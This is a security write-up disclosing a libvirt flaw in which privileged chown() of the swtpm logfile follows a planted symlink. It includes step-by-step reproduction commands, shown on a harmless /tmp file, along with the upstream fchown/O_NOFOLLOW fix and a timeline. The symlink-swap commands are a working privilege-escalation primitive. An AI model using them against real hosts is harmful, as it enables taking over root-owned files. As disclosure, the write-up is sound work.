CVE-2026-77159 · SECURITY WRITE-UP
libvirt swtpm sandbox escape
Unsafe chown() in qemuTPMEmulatorPrepareHost() allowed arbitrary file ownership transfer through a symbolic link.
Summary
libvirt changed ownership of the swtpm logfile while running with host privileges. On Ubuntu 24.04, the logfile directory was owned by the confined swtpm user, which could replace the logfile with a symlink.
When a TPM-backed VM was started, libvirt followed the symlink and changed the target file's owner to swtpm:swtpm. This broke the swtpm sandbox boundary and created a host privilege-escalation primitive.
Animated attack flow
Step 1 — swtpm controls the logfile directory
chown().Verified environment
| OS | Ubuntu 24.04 LTS (Noble) |
|---|---|
| Architecture | aarch64 |
| Kernel | 6.8.0-137-generic |
| libvirt | 10.0.0-2ubuntu8.15 |
| Hypervisor | QEMU 8.2.2 |
Proof of concept and output
This reproduction uses a harmless file in /tmp. It demonstrates the ownership-transfer primitive without targeting a sensitive system file.
-
Install libvirt and swtpm, then enable libvirtd.
-
Define a QEMU domain with an emulator TPM.
<domain type='qemu'> <name>poc-tpm-domain</name> <memory unit='MiB'>512</memory> <vcpu>1</vcpu> <os> <type arch='aarch64' machine='virt'>hvm</type> <boot dev='hd'/> </os> <devices> <emulator>/usr/bin/qemu-system-aarch64</emulator> <disk type='file' device='disk'> <driver name='qemu' type='qcow2'/> <source file='/var/lib/libvirt/images/poc-tpm.qcow2'/> <target dev='vda' bus='virtio'/> </disk> <console type='pty'/> <tpm model='tpm-tis'> <backend type='emulator' version='2.0'/> </tpm> </devices> </domain> -
Start the domain once to create the log directory and logfile, then stop it.
-
Confirm that the swtpm account owns the writable log directory.
$ sudo ls -la /var/log/swtpm/libvirt/qemu/ total 12 drwx-wx--- 2 swtpm swtpm 4096 Aug 18 16:29 . drwx--x--x 3 root root 4096 Aug 18 17:00 .. -rw-r--r-- 1 swtpm swtpm 3228 Aug 18 17:56 poc-tpm-domain-swtpm.log -
Create a harmless root-owned target and record its original ownership.
$ TARGET=/tmp/libvirt-swtpm-chown-target $ LOGFILE=/var/log/swtpm/libvirt/qemu/poc-tpm-domain-swtpm.log $ sudo rm -f "$TARGET" $ sudo touch "$TARGET" $ sudo chown root:root "$TARGET" $ sudo chmod 600 "$TARGET" $ echo "BEFORE: $(sudo stat -c '%U:%G %a %n' "$TARGET")" BEFORE: root:root 600 /tmp/libvirt-swtpm-chown-target -
As the confined swtpm account, replace the logfile with a symlink to the test target.
$ sudo -u swtpm rm -f "$LOGFILE" $ sudo -u swtpm ln -s "$TARGET" "$LOGFILE" -
Start the domain to invoke the vulnerable privileged preparation path.
$ sudo virsh start poc-tpm-domain 2>&1 || true error: Failed to start domain 'poc-tpm-domain' error: operation failed: swtpm died and reported:The domain may fail later because swtpm cannot use the redirected logfile. The ownership change has already occurred during preparation.
-
Check the target file again.
$ echo "AFTER: $(sudo stat -c '%U:%G %a %n' "$TARGET")" AFTER: swtpm:swtpm 600 /tmp/libvirt-swtpm-chown-target
chown() followed the planted symlink and transferred ownership of the chosen host file from root:root to swtpm:swtpm.Fix
Upstream opened the logfile with O_NOFOLLOW and changed ownership through the returned descriptor with fchown(). A symlink is therefore rejected instead of followed.
- chown(logfile, swtpm_user, swtpm_group);
+ fd = open(logfile, O_WRONLY | O_CREAT | O_NOFOLLOW | O_CLOEXEC, 0644);
+ fchown(fd, swtpm_user, swtpm_group);
Timeline
- 19 Aug 2026: reported to libvirt; fix reviewed and merged.
- 20 Aug 2026: CVE-2026-77159 assigned and published.
- 31 Aug 2026: documented in the libvirt release security notes.